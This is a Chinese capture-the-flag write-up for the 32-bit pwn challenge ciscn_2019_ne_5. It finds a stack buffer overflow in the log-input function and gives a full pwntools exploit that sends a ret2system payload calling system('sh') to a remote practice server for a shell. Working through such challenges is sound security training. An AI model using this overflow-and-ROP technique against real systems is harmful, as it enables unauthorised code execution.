1.例行检查保护机制
2.我们用32位的IDA打开该文件
shift+f12查看关键字符串
我们看到flag就是我们输入的log
3.我们看看main函数里面有什么
我们看到第一个条件s1 == 'administrator'
进入过后,v3是你想要选择执行的内容
ADDLog():我们看到这里是输入log,跟我们的flag有关系
a1是我们外面传进来的src = 48,读取128个就造成了溢出
Display():没什么有用的
Print():
GetFlag():我们看到了flag
exit():
4.构造system("/bin/sh")
sh
ROPgadget --binary ciscn_2019_ne_5 --string 'sh'
这个system地址不对
所以我们用
system_addr = elf.sym['system']
5.EXP
判断libc版本32位:
b'a' * offset + p32(xx@plt) + p32(ret_addr(main_addr或者_start_addr)) + p32(xx@got)getshell:
b'a' * offset +p32(system_addr) + b'a'*4 + p32(str_bin_sh)
#encoding = utf-8
from pwn import *
context(os = 'linux',arch = 'i386',log_level = 'debug')
content = 0
elf = ELF('./ciscn_2019_ne_5')
def main():
if content == 1:
p = process('ciscn_2019_ne_5')
else:
p =remote('node4.buuoj.cn',27287)
#0x080482ea : sh
sh_addr = 0x080482ea
system_addr = elf.sym['system']
payload = b'a' * (0x48+0x4) + p32(system_addr) + b'aaaa' + p32(sh_addr)
p.sendlineafter("Please input admin password:",'administrator')
p.sendlineafter("0.Exit\n:",'1')
p.sendlineafter("Please input new log info:",payload)
p.sendlineafter("0.Exit\n:",'4')
p.interactive()
main()